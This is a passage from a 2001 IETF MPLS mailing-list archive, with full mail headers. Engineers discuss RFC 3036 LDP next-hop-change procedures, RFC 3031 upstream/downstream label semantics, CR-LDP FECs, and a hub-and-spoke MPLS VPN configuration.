	id <L1WVTQXN>; Fri, 18 May 2001 13:36:50 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D705C219@BRAHMA01>
From: Mohit Misra <MohitM@netbrahma.com>
To: "'Manoj Dutta'" <manoj@ipinfusion.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: change in next hop !!
Date: Fri, 18 May 2001 13:36:49 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
I think you need to execute this procedure for each FEC for which the next
hop has changed.
NH1.-NH5 takes care about the case for each FEC and  label(s)  being used
for it.



> Hi,
> 
> I have a few questions based on section A.1.7 RFC 3036.
> 
> 1) Is is correct to assume that NH.1 - NH.5 also consider the case where
> LSR has received and retained multiple label mappings from old next hop
> ??
>>>> I could not understand multiple label mappings. This procedure is being
executed for a single FEC so you would
         have a single label corresponding to it. If you have other labels
for other FECs from the same next hop then you should
         execute this procedure those many times.

> 3) Also NH.6 to NH.8 take into account the scenario where multiple
> requests are pending.
      Same as above. You need to take care about the label request for the
particular FEC in question within this procedure.
      

> Consider the following scenario :
> 
> LSR U1 and LSR U2 are upatream wrt LSR A and LSR D1 and LSR D2 are
> downstream of LSR A.
> 
> 
> 
>                             LSR U1            LSRU2
>                                 |                       |
>                                   \                   /
>                                      \              /
>                                        LSR A
>                                      /            \
>                               LSR  D1    LSR D2
> 
> Suppose LSR A is non merge capable and for a given FEC F,  LSR D1 is its
> next hop.  D1 has distributed
> labels L1 and L2 for FEC F which LSR A maps to lable L3 and L4 given to
> LSR U1 and LSR U2 respectively.
> Now, LSR D2 becomes the new next hop for LSR A (FEC F).
> Cosider statement NH.11 :
> 
> a) Suppose, LSR A already has a label mapping  ,say L5, from LSR D2 for
> FEC F. A recv mapping event will be generated. Now if LMp.18 of section
> A.1.2  is executed, it contradicts Note 8 as we have sent labels, L3 and
> L4, to more  than one peer (LU1 and LU2, in this case.) despite being a
> non merge LSR. Even if we ignore this,  which of the upstream labels (L3
> and L4) should we map to L5 .
> Let say that we map L5 to L3 (LSR U1).  There is no way to let LSR U2
> know that lable L4 is not mapped
> to any downstream label now and if LSR A is using ordered control then
> we have an exception here.
> 
> b) Now, lets take the case where LSR A does not have any mapping from
> new hop LSR D2. Now, it might
> send a single label request which again cannot be mapped to the two
> upstream labels L3 and L4.
> 
> I would really appreciate any help in understanding this scenario.
> 
> Thanks in advance,
> manoj
> 
	I little bit of confision here. NH.11 talks about if the node is
operating in liberal label retention mode. In the case described
	above D2 would have supplied two labels in the past because LSR A is
non -merge capable. So if it becomes the new next
	hop you will have two labels to map to L3 & L4. LSR A can't have two
modes of operation with to LDP peers (D1 & D2)
	ie. Merge and non-merge. I hope this helps


	Mohit Misra
	Netbrahma Technologies
	www.netbrahma.com




From owner-mpls@UU.NET  Fri May 18 04:11:50 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA20585
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 04:11:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpnc13414;
	Fri, 18 May 2001 08:11:08 GMT
Received: by mail-control.mail.uu.net 
	id QQkpnc00339
	for mpls-outgoing; Fri, 18 May 2001 08:09:48 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpnc00255
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 08:09:28 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpnc16713
	for <mpls@UU.NET>; Fri, 18 May 2001 08:09:23 GMT
Received: from samar.sasken.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQkpnc01506
	for <mpls@UU.NET>; Fri, 18 May 2001 08:09:20 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f4I897m11743;
	Fri, 18 May 2001 13:39:07 +0530 (IST)
Received: from localhost (amg@localhost)
	by sund2.sasi.com (8.9.3/8.9.3) with ESMTP id NAA29508;
	Fri, 18 May 2001 13:38:26 +0530 (IST)
Date: Fri, 18 May 2001 13:38:26 +0530 (IST)
From: Abhijit M Gadgil <amg@sasken.com>
X-Sender:  <amg@sund2.sasi.com>
To: "Hailong Lu.sean" <sealong@163.com>
cc: "mpls@uu.net" <mpls@UU.NET>
Subject: Re: rfc 3031.section3.2.again
In-Reply-To: <20010518073731.DC8161C353418@smtp.163.com>
Message-ID: <Pine.GSO.4.30.0105181332380.28261-100000@sund2.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


The fact that a LSR binds a label for a FEC and sends it upstream does not
necessarily mean that the LSP gets created. This could happen in case of
DU with liberal retention mode in case of LDP.

So what the statement probably means is as follows.

"An LSR has associated a binding with a FEC and advertised upstream does
not necessarily means packet will flow along the link between Ru and Rd
_always_ . But if the packets indeed flow along the link with that Label
it shd be interpreted that the packets are for that FEC."

Hope thats correct..

-abhijit

> Hi,all
>    Sorry about this subject again.
>    From the section3.2 of rfc3031:
> 		"To say that one node is upstream and one is downstream with respect
> 	   to a given binding means only that a particular label represents a
> 	   particular FEC in packets travelling from the upstream node to the
> 	   downstream node.  This is NOT meant to imply that packets in that FEC
> 	   would actually be routed from the upstream node to the downstream
> 	   node"
>    I can understand the first part of this section:the upstream and downstream
> concepts are just meaningful when respect the binding of label and FEC.But I
> can't make sure why the "routed" problem is refered particularly in the second
> part of it.From my idea,in MPLS domain,after having been labeled by the ingress
> MPLS node,the packets are label switched.I mean there is no routing problem.
>    thanks.
>



From owner-mpls@UU.NET  Fri May 18 04:42:25 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA20775
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 04:42:25 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpne03262;
	Fri, 18 May 2001 08:32:39 GMT
Received: by mail-control.mail.uu.net 
	id QQkpne01890
	for mpls-outgoing; Fri, 18 May 2001 08:32:07 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpne01879
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 08:31:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpne07717
	for <mpls@UU.NET>; Fri, 18 May 2001 08:31:33 GMT
From: mgoel@hss.hns.com
Received: from hindon.hss.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQkpne05015
	for <mpls@UU.NET>; Fri, 18 May 2001 08:31:19 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f4I8VUR11030;
	Fri, 18 May 2001 14:01:31 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A50.002D5AFE ; Fri, 18 May 2001 13:45:24 +0530
X-Lotus-FromDomain: HSS
To: "Hailong Lu.sean" <sealong@163.com>
cc: "mpls@uu.net" <mpls@UU.NET>
Message-ID: <65256A50.002CAD95.00@sandesh.hss.hns.com>
Date: Fri, 18 May 2001 13:52:21 +0530
Subject: Re: rfc 3031.section3.2.again
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



Hi Sean!

As per my understanding, Let Ru is the upstream LSR and Rd is the downstream LSR
with respect to a binding. Then on receiving a packet(labeled/unlabeled) at Ru,
Ru calls either ILM/FTN to map the packet to the set S of NHLFEs. Whether the
packet will be routed through Rd or some other LSR in the set S, has to be
decided by the Ru. So the statement only means to say that the packet of that
FEC, received on Ru "may" be routed through Rd.

pls correct me if I am wrong.

Regards
Mohit




"Hailong Lu.sean" <sealong@163.com> on 05/18/2001 01:05:56 PM

To:   "mpls@uu.net" <mpls@UU.NET>, "mpls@uu.net" <mpls@UU.NET>
cc:    (bcc: Mohit Goel/HSS)

Subject:  rfc 3031.section3.2.again




Hi,all
   Sorry about this subject again.
   From the section3.2 of rfc3031:
          "To say that one node is upstream and one is downstream with respect
        to a given binding means only that a particular label represents a
        particular FEC in packets travelling from the upstream node to the
        downstream node.  This is NOT meant to imply that packets in that FEC
        would actually be routed from the upstream node to the downstream
        node"
   I can understand the first part of this section:the upstream and downstream
concepts are just meaningful when respect the binding of label and FEC.But I
can't make sure why the "routed" problem is refered particularly in the second
part of it.From my idea,in MPLS domain,after having been labeled by the ingress
MPLS node,the packets are label switched.I mean there is no routing problem.
   thanks.



sean









From owner-mpls@UU.NET  Fri May 18 04:46:56 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA20794
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 04:46:56 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpnf19835;
	Fri, 18 May 2001 08:46:13 GMT
Received: by mail-control.mail.uu.net 
	id QQkpnf02707
	for mpls-outgoing; Fri, 18 May 2001 08:45:06 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpne02461
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 08:44:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpne05937
	for <mpls@uu.net>; Fri, 18 May 2001 08:44:25 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkpne17927
	for <mpls@uu.net>; Fri, 18 May 2001 08:44:22 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <L1WVTQZM>; Fri, 18 May 2001 14:14:02 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D705C21A@BRAHMA01>
From: Mohit Misra <MohitM@netbrahma.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: CR-LDP FEC
Date: Fri, 18 May 2001 14:14:00 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Since Cr-ldp is an extension of LDP I assume all other procedures of LDP are
valid even if LDP and CR-LDP are co-existing.
In this case there would be some normal LSPs (based on LDP) and some TE LSPs
(based on CR-LDP). Take the case of 
detecting change in FEC next hop. For the normal LSPs the procedure
described in appendix A of 3036 can be used. What happens if some of the TE
LSPs also pass through the same next hop. Do I need to keep information
about TE LSP-IDs and their next hops and keep on checking when the next hop
changes and perform re-reouting if needed ?. Can I tie up TE-LSPs (LSD-IDs)
with some FEC so that when the next hop changes for the FEC , I can take
care of TE LSPs as well.

Also the CR-LDP FEC TLV is a fixed value. I don't know what purpose it
serves..


From owner-mpls@UU.NET  Fri May 18 05:00:19 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA20909
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 05:00:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpnf01918;
	Fri, 18 May 2001 08:58:32 GMT
Received: by mail-control.mail.uu.net 
	id QQkpnf03318
	for mpls-outgoing; Fri, 18 May 2001 08:58:01 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpnf03310
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 08:57:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpnf18701
	for <mpls@uu.net>; Fri, 18 May 2001 08:57:26 GMT
Received: from pdc2proxy.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.129.228.195])
	id QQkpnf19985
	for <mpls@uu.net>; Fri, 18 May 2001 08:57:15 GMT
Received: from pdc2vwall.wipro.com (pdc2vwall.wipro.com [10.111.14.18])
	by pdc2proxy.wipro.com (8.9.3/8.9.3) with SMTP id OAA25697
	for <mpls@uu.net>; Fri, 18 May 2001 14:29:18 GMT
Received: from Asish ([10.111.11.55]) by pdc2mail.mail.wipro.com
          (Netscape Messaging Server 4.15) with SMTP id GDIPWP00.3CM for
          <mpls@uu.net>; Fri, 18 May 2001 14:26:49 +0800 
Message-ID: <010101c0df79$e8b33770$370b6f0a@Asish>
From: "Asish Thomas Punnoose" <asish.punnoose@wipro.com>
To: <mpls@UU.NET>
Date: Fri, 18 May 2001 14:37:05 +0530
MIME-Version: 1.0
Content-Type: multipart/mixed;    
	boundary="------------InterScan_NT_MIME_Boundary"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

--------------InterScan_NT_MIME_Boundary
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00FE_01C0DFA8.024FD520"

------=_NextPart_000_00FE_01C0DFA8.024FD520
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

subscribe mpls asif.momin@wipro.com

------=_NextPart_000_00FE_01C0DFA8.024FD520
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff><FONT color=3D#800000 face=3DArial =
size=3D2>subscribe mpls <A=20
href=3D"mailto:asif.momin@wipro.com">asif.momin@wipro.com</A></FONT></BOD=
Y></HTML>

------=_NextPart_000_00FE_01C0DFA8.024FD520--


--------------InterScan_NT_MIME_Boundary--


From owner-mpls@UU.NET  Fri May 18 05:04:10 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA20939
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 05:04:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpng16204;
	Fri, 18 May 2001 09:02:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkpng11151
	for mpls-outgoing; Fri, 18 May 2001 09:02:26 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpng10701
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 09:02:18 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpng28352
	for <mpls@uu.net>; Fri, 18 May 2001 09:01:24 GMT
Received: from mail2.orchestream.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail2.orchestream.com [195.153.64.126])
	id QQkpng13315
	for <mpls@uu.net>; Fri, 18 May 2001 09:01:24 GMT
Received: from rimmer.orchestream.com (rimmer.orchestream.com) by mail2.orchestream.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tc0a83ffa5397bf0244@mail2.orchestream.com> for <mpls@uu.net>;
 Fri, 18 May 2001 10:02:43 +0100
Received: from s1000.orchestream.com (s1000.orchestream.com [192.168.0.16])
	by rimmer.orchestream.com (8.9.3/8.9.3) with ESMTP id JAA08174
	for <mpls@uu.net>; Fri, 18 May 2001 09:57:22 +0100
Received: by s1000.orchestream.com with Internet Mail Service (5.5.2653.19)
	id <KTC4X31Z>; Fri, 18 May 2001 09:57:34 +0100
Message-ID: <CB1E59E84CE5D3118E5C00508B6D7555012816CA@s1000.orchestream.com>
From: "Gould, Michael" <mgould@orchestream.com>
To: mpls@UU.NET
Subject: Unusual Hub-Spoke Configuration
Date: Fri, 18 May 2001 09:57:33 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

In the JunOS MPLS Applications Guide 4.4, the example of a Hub-and-Spoke
MPLS VPN configuration is very unusual.

It states that: "For a hub-and-Spoke VPN topology to function properly,
there must be two interfaces connecting the hub PE router to the hub CE
router, and each interface must have its own VRF table on the PE router."

It then goes on to describe a configuration where there are 2 VRF tables for
a single hub site.  One table imports only routes from the spoke sites and
exports nothing.  The other table exports routes from the hub site and
imports nothing.  The example is definitely not refering to a management VPN
and there is only one hub CE.

Although it looks like this configuration would work, we have never needed
more than one interface or VRF table per hub site.  Does anyone know the
reason for this particular configuration?


Mike Gould
orchestream.com



--
This communication contains confidential information intended solely for the use of the individual/s and/or entity or entities to whom it was intended to be addressed.  If you are not the intended recipient, be aware that any disclosure, copying, distribution, or use of the contents of this transmission is prohibited.  If you have received this communication in error, please contact the sender immediately, delete this communication from your system, and do not disclose its contents to any third party, or use its contents.  Any opinions expressed are solely those of the author and do not necessarily represent those of Orchestream Ltd or its group of companies unless otherwise specifically stated.


From owner-mpls@UU.NET  Fri May 18 05:14:03 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA21039
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 05:14:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpng03151;
	Fri, 18 May 2001 09:12:15 GMT
Received: by mail-control.mail.uu.net 
	id QQkpng23289
	for mpls-outgoing; Fri, 18 May 2001 09:11:41 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpng23277
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 09:11:32 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpng20127
	for <mpls@uu.net>; Fri, 18 May 2001 09:11:25 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpng14370
	for <mpls@uu.net>; Fri, 18 May 2001 09:11:25 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id FAA18282 for mpls@uu.net; Fri, 18 May 2001 05:11:24 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpng23051
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 09:10:44 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpng07794
	for <mpls@UU.NET>; Fri, 18 May 2001 09:10:19 GMT
Received: from cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: london2.cisco.com [144.254.32.10])
	id QQkpng00051
	for <mpls@UU.NET>; Fri, 18 May 2001 09:10:19 GMT
Received: from JGUICHAR-W2K.cisco.com (jguichar-isdn-home.cisco.com [10.49.131.222])
	by cisco.com (8.8.8+Sun/8.8.8) with ESMTP id LAA01856;
	Fri, 18 May 2001 11:10:12 +0200 (MET DST)
Message-Id: <4.3.2.7.2.20010518100702.01b31820@london2.cisco.com>
X-Sender: jguichar@london2.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 18 May 2001 10:09:05 +0100
To: "Gould, Michael" <mgould@orchestream.com>
From: jim guichard <jguichar@cisco.com>
Subject: Re: Unusual Hub-Spoke Configuration
Cc: mpls@UU.NET
In-Reply-To: <CB1E59E84CE5D3118E5C00508B6D7555012816CA@s1000.orchestream
 .com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

Mike,

this type of topology allows all spoke to spoke communication to flow via a 
hub site - this is just manipulation of the route-target. A simple example 
of its usage is the need to deploy a firewall between spoke sites. Jim

At 09:57 18/05/2001 +0100, Gould, Michael wrote:
>In the JunOS MPLS Applications Guide 4.4, the example of a Hub-and-Spoke
>MPLS VPN configuration is very unusual.
>
>It states that: "For a hub-and-Spoke VPN topology to function properly,
>there must be two interfaces connecting the hub PE router to the hub CE
>router, and each interface must have its own VRF table on the PE router."
>
>It then goes on to describe a configuration where there are 2 VRF tables for
>a single hub site.  One table imports only routes from the spoke sites and
>exports nothing.  The other table exports routes from the hub site and
>imports nothing.  The example is definitely not refering to a management VPN
>and there is only one hub CE.
>
>Although it looks like this configuration would work, we have never needed
>more than one interface or VRF table per hub site.  Does anyone know the
>reason for this particular configuration?
>
>
>Mike Gould
>orchestream.com
>
>
>
>--
>This communication contains confidential information intended solely for 
>the use of the individual/s and/or entity or entities to whom it was 
>intended to be addressed.  If you are not the intended recipient, be aware 
>that any disclosure, copying, distribution, or use of the contents of this 
>transmission is prohibited.  If you have received this communication in 
>error, please contact the sender immediately, delete this communication 
>from your system, and do not disclose its contents to any third party, or 
>use its contents.  Any opinions expressed are solely those of the author 
>and do not necessarily represent those of Orchestream Ltd or its group of 
>companies unless otherwise specifically stated.



Jim Guichard CCIE #2069
Technical Leader EMEA

+44 208 756 8806
Mobile: +44 7802 809763



From owner-mpls@UU.NET  Fri May 18 06:05:33 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA21362
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 06:05:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpnk04203;
	Fri, 18 May 2001 10:03:54 GMT
Received: by mail-control.mail.uu.net 
	id QQkpnk06589
	for mpls-outgoing; Fri, 18 May 2001 10:03:22 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpnk06573
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 10:03:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpnk19903
	for <mpls@UU.NET>; Fri, 18 May 2001 10:02:42 GMT
Received: from mail.marhold.at by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.marhold.at [194.152.126.85])
	id QQkpnk17019
	for <mpls@UU.NET>; Fri, 18 May 2001 10:02:41 GMT
Received: from AMARHOLD ([213.208.15.78]) by mail.marhold.at
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with SMTP id at; Fri, 18 May 2001 12:12:35 +0200
From: "Alexander Marhold" <alexander@marhold.at>
To: "jim guichard" <jguichar@cisco.com>,
        "Gould, Michael" <mgould@orchestream.com>
Cc: <mpls@UU.NET>
Subject: RE: Unusual Hub-Spoke Configuration
Date: Fri, 18 May 2001 12:03:31 +0200
Message-ID: <AFEPKBDEDEAGNIBJKNPJKEILCJAA.alexander@marhold.at>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <4.3.2.7.2.20010518100702.01b31820@london2.cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Mike

Unfortunately "HUB and spoke" can be interpreted differently.

If the network need to emulate FR-behaviour you need 2 interfaces in 2
separate VRFs as Jim has mentioned.

If you only need get packets running between spoke sites to the HUB-CE in
order to do accounting, ---> then this also works with only one single
interface and a single vrf and a clever usage of the default route !

From the SPOKEs to the hub you send the specific routes,
the CE on the hub site announces only the default route towards the MPLS/VPN
cloud
the Spoke-PEs in that way only receive the default route imported from the
HUB-vrf

then the Spoke PE sends all packets for other destinations on an LSP ( bound
to the default route) to the HUB-CE, which does a L3 lookup, finds the
destination address and sends the packet back to the hub-PE.
This one, using an LSP for the specific address forwards the packet to the
destination Spoke-CE.

In that way all packets between Spoke sites will enter the HUB-CE and can be
accounted.

(This is a tested configuration, usage can be for Bandwidth brokerage over
an MPLS/VPN network)

with best regards

Alexander


__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/
     __/
    __/   Dipl.Ing. Alexander Marhold MBA
   __/   CCIE #3324, CCNP, CCNA, CCDP, CCDA, CCSI #20642
  __/   PRO IN <Senior Consultant, PM and Trainer>
 __/   Mobile: ++43-(0)664-16 28 234
__/




-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of jim
guichard
Sent: Friday, May 18, 2001 11:09 AM
To: Gould, Michael
Cc: mpls@UU.NET
Subject: Re: Unusual Hub-Spoke Configuration


Mike,

this type of topology allows all spoke to spoke communication to flow via a
hub site - this is just manipulation of the route-target. A simple example
of its usage is the need to deploy a firewall between spoke sites. Jim

At 09:57 18/05/2001 +0100, Gould, Michael wrote:
>In the JunOS MPLS Applications Guide 4.4, the example of a Hub-and-Spoke
>MPLS VPN configuration is very unusual.
>
>It states that: "For a hub-and-Spoke VPN topology to function properly,
>there must be two interfaces connecting the hub PE router to the hub CE
>router, and each interface must have its own VRF table on the PE router."
>
>It then goes on to describe a configuration where there are 2 VRF tables
for
>a single hub site.  One table imports only routes from the spoke sites and
>exports nothing.  The other table exports routes from the hub site and
>imports nothing.  The example is definitely not refering to a management
VPN
>and there is only one hub CE.
>
>Although it looks like this configuration would work, we have never needed
>more than one interface or VRF table per hub site.  Does anyone know the
>reason for this particular configuration?
>
>
>Mike Gould
>orchestream.com
>
>
>
>--
>This communication contains confidential information intended solely for
>the use of the individual/s and/or entity or entities to whom it was
>intended to be addressed.  If you are not the intended recipient, be aware
>that any disclosure, copying, distribution, or use of the contents of this
>transmission is prohibited.  If you have received this communication in
>error, please contact the sender immediately, delete this communication
>from your system, and do not disclose its contents to any third party, or
>use its contents.  Any opinions expressed are solely those of the author
>and do not necessarily represent those of Orchestream Ltd or its group of
>companies unless otherwise specifically stated.



Jim Guichard CCIE #2069
Technical Leader EMEA

+44 208 756 8806
Mobile: +44 7802 809763




From owner-mpls@UU.NET  Fri May 18 10:06:52 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA27355
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 10:06:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpoa25080;
	Fri, 18 May 2001 14:05:16 GMT
Received: by mail-control.mail.uu.net 
	id QQkpoa09441
	for mpls-outgoing; Fri, 18 May 2001 14:04:45 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpoa09404
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 14:04:41 GMT
